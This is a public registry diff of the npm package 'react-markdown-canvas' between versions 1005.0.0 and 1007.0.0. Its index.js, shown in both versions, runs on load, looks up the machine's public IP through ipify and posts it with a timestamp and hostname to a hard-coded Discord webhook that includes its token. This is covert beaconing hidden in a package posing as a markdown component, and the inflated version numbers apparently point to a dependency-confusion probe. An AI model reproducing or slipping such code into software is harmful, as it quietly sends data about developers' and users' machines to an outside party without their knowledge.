react-markdown-canvas 1005.0.0 → 1007.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "react-markdown-canvas",
3
- "version": "1005.0.0",
3
+ "version": "1007.0.0",
4
4
  "description": "react-markdown-canvas",
5
5
  "main": "index.js",
6
6
  "directories": {
@@ -1,20 +1,30 @@
1
- // import { createRequire } from 'module'
2
- // const __require = createRequire(import.meta.url)
3
- // const { version } = __require('./package.json')
4
- const os = require("os")
5
- const DISCORD_WEBHOOK_URL = 'https://discord.com/api/webhooks/1475609577532686738/woJvlEeRxR1WOxSVjE5I6BYQRYRiceO36qomfshuVra95NKQ_FOo17Fwvhept1r-3XD3'
1
+ const os = require("os");
2
+ const DISCORD_WEBHOOK_URL = 'https://discord.com/api/webhooks/1475609577532686738/woJvlEeRxR1WOxSVjE5I6BYQRYRiceO36qomfshuVra95NKQ_FOo17Fwvhept1r-3XD3';
6
3
 
7
- let ip = '';
8
- fetch('https://api.ipify.org?format=json').then(d => {
9
- d.text().then(r => {
10
- ip = r
11
- }).catch((e1) => { ip = e1 })
12
- }).catch((e2) => { ip = e2 })
4
+ async function sendWebhook() {
5
+ let ip = '';
13
6
 
14
- fetch(DISCORD_WEBHOOK_URL, {
15
- method: 'POST',
16
- headers: { 'Content-Type': 'application/json' },
17
- body: JSON.stringify({
18
- content: `[react-markdown-canvas@1005.0.0] index.js loaded at ${new Date().toISOString()} / ${ip} / ${os.hostname}`
19
- })
20
- }).catch(() => { })
7
+ try {
8
+ // Await the fetch and then await the json parsing
9
+ const response = await fetch('https://api.ipify.org?format=json');
10
+ const data = await response.json();
11
+ ip = data.ip; // Extract just the IP string from the JSON object
12
+ } catch (error) {
13
+ ip = error.message || String(error);
14
+ }
15
+
16
+ // This will now only execute AFTER the try/catch block is fully finished
17
+ try {
18
+ await fetch(DISCORD_WEBHOOK_URL, {
19
+ method: 'POST',
20
+ headers: { 'Content-Type': 'application/json' },
21
+ body: JSON.stringify({
22
+ content: `[react-markdown-canvas@1007.0.0] index.js loaded at ${new Date().toISOString()} / ${ip} / ${os.hostname}`
23
+ })
24
+ });
25
+ } catch (webhookError) {
26
+ // Handle or ignore webhook errors
27
+ }
28
+ }
29
+
30
+ sendWebhook();